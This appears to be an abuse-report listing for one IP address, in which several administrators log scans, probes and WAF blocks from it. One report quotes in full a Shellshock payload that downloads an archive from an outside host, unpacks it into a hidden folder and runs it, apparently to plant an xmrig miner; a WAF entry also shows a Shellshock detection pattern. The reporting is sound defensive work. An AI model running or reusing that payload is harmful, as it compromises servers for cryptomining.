🇫🇷
security.rdmc.fr
2026-11-06 23:24:16
UTC ·
(2 hours ago)
Activity from blacklisted IP
Hacking
🇪🇸
Yoeph
2026-11-06 17:37:26
UTC ·
(8 hours ago)
Malicious probe on /foo.jsp (Permanently Banned) by TurnoControlPro Web Shield
Hacking
Bad Web Bot
Web App Attack
🇩🇪
BlueWire Hosting
2026-11-06 15:16:16
UTC ·
(11 hours ago)
Bad bot ignoring robot.txt
Bad Web Bot
🇩🇪
Mykola Spesivtsev
2026-11-06 07:33:08
UTC ·
(18 hours ago)
HTTP Tarpit detected bot activity:TargetPort:443, Path:/, Method:GET, UA:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Port Scan
Web App Attack
Bad Web Bot
🇬🇧
gws-hostmaster
2026-11-06 06:25:18
UTC ·
(19 hours ago)
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;Method is not allowed by policy;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Co ...
show more
ModSecurity OWASP CRS (Anomaly Score: 98): Host header is a numeric IP address;Method is not allowed by policy;OS File Access Attempt;PHP Injection Attack: High-Risk PHP Function Call Found;PHP Injection Attack: Variable Function Call Found;Remote Command Execution: Direct Unix Command Execution;Remote Command Execution: Java serialization (CVE-2015-4852);Remote Command Execution: Shellshock (CVE-2014-6271);Remote Command Execution: Unix Command Injection (2-3 chars);Remote Command Execution: Unix Shell Code Found;Remote Command Execution: Unix Shell Expression Found;Remote Command Execution: Windows Command Injection;Request content type is not allowed by policy;Suspicious Java class detected;
show less
Web App Attack
🇩🇪
Phenix Info
2026-11-05 23:57:16
UTC ·
(1 day ago)
SmallGuard Auto Ban - Attaque applicative web detectee - 5 blocages en 5 min.
Web App Attack
🇸🇬
simpeg-adm.bandung.go.id
2026-11-05 23:28:09
UTC ·
(1 day ago)
05/Nov/2026:23:28:06 +0000;159.65.28.130;"/?rest_route=/batch/v1"
05/Nov/2026:23:28:06 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:07 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:07 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:08 +0000;159.65.28.130;"/foo.js ...
show more
05/Nov/2026:23:28:06 +0000;159.65.28.130;"/?rest_route=/batch/v1"
05/Nov/2026:23:28:06 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:07 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:07 +0000;159.65.28.130;"/"
05/Nov/2026:23:28:08 +0000;159.65.28.130;"/foo.jsp"
05/Nov/2026:23:28:08 +0000;159.65.28.130;"/api/v1/code/blocks/exec/code"
05/Nov/2026:23:28:08 +0000;159.65.28.130;"/code/blocks/exec/code"
...
show less
Web Spam
Brute-Force
Web App Attack
🇫🇷
security.rdmc.fr
2026-11-05 21:42:32
UTC ·
(1 day ago)
Shellshock Attack
Web App Attack
Hacking
🇪🇸
elcruzado.es
2026-11-05 20:52:33
UTC ·
(1 day ago)
(mod_security) mod_security triggered on hostname [redacted] 159.65.28.130 (GB/United Kingdom/-)
SQL Injection
🇺🇸
TPI-Abuse
2026-11-05 19:03:34
UTC ·
(1 day ago)
(mod_security) mod_security (id:221260) triggered by 159.65.28.130 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 05 14:03:27.535838 2026] [security2:error] [pid 26707:tid 26707] [client 159.65.28.130:51798] M ...
show more
(mod_security) mod_security (id:221260) triggered by 159.65.28.130 (-): 1 in the last 300 secs; Ports: *; Direction: 1; Trigger: LF_MODSEC; Logs: [Thu Nov 05 14:03:27.535838 2026] [security2:error] [pid 26707:tid 26707] [client 159.65.28.130:51798] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^(?:\\\\'\\\\w+?=)?\\\\(\\\\)\\\\s{" at MATCHED_VAR. [file "/etc/apache2/conf.d/modsec_vendor_configs/comodo_apache/02_Global_Generic.conf"] [line "77"] [id "221260"] [rev "3"] [msg "COMODO WAF: Shellshock Command Injection Vulnerabilities in GNU Bash through 4.3 bash43-026 (CVE-2014-7187, CVE-2014-7186, CVE-2014-7169, CVE-2014-6278, CVE-2014-6277, CVE-2014-6271)||www.cybersoftware.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.cybersoftware.org"] [uri "/"] [unique_id "auzS_ytSjvZFNizZ5fYytQAAACA"], referer: https://104.248.98.155:443/
show less
Brute-Force
Bad Web Bot
Web App Attack
🇪🇸
GranTech
2026-11-05 18:37:51
UTC ·
(1 day ago)
159.65.28.130 - - [05/Nov/2026:18:37:51 +0000] "GET / HTTP/1.1" 400 91192 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || ...
show more
159.65.28.130 - - [05/Nov/2026:18:37:51 +0000] "GET / HTTP/1.1" 400 91192 "-" "() { :; }; ((X=~/.configrc6/a/xmrig.pid; [ -f $X ] && kill -0 $(cat $X) 2>/dev/null) || ((curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null || wget -q -O /tmp/dota3.tar.gz https://badmonner.s.gy/dota-download 2>/dev/null || (apt-get update -qq >/dev/null 2>&1; apt-get install -y -qq curl >/dev/null 2>&1; curl -sL https://badmonner.s.gy/dota-download -o /tmp/dota3.tar.gz 2>/dev/null)); tar xzf /tmp/dota3.tar.gz -C ~ 2>/dev/null || tar xzf /tmp/dota3.tar.gz -C /tmp 2>/dev/null; D=~/.configrc6; [ -f $D/initall ] || D=/tmp/.configrc6; chmod +x $D/initall 2>/dev/null; nohup $D/initall >/dev/null 2>&1)) >/dev/null 2>&1 & echo c_''bf4f186ca25f49bd"
...
show less
Web App Attack
🇪🇸
Yoeph
2026-11-05 15:53:20
UTC ·
(1 day ago)
Malicious probe on /foo.jsp (Permanently Banned) by TurnoControlPro Web Shield
Hacking
Bad Web Bot
Web App Attack
🇬🇧
Andrew
2026-11-05 07:42:08
UTC ·
(1 day ago)
Blocked by UFW (TCP on port 3000).
Source port: 38910
TTL: 56
Packet length: 60
TOS: 0x00
This report (for 159.65.28.130) was generated by:
https://github.com/sefinek/UFW-AbuseIPDB-Reporter
Port Scan
🇧🇷
SOC-BR
2026-11-05 07:21:38
UTC ·
(1 day ago)
Attack detected by Fortinet - backdoor: Mirai.Botnet - 2026-11-04 09:15:31 - Source Port 30698
Port Scan
Hacking
🇩🇪
Phenix Info
2026-11-05 07:05:41
UTC ·
(1 day ago)
SmallGuard Auto Ban - Attaque applicative web detectee - 5 blocages en 5 min. Regle: SHS-011.
Web App Attack
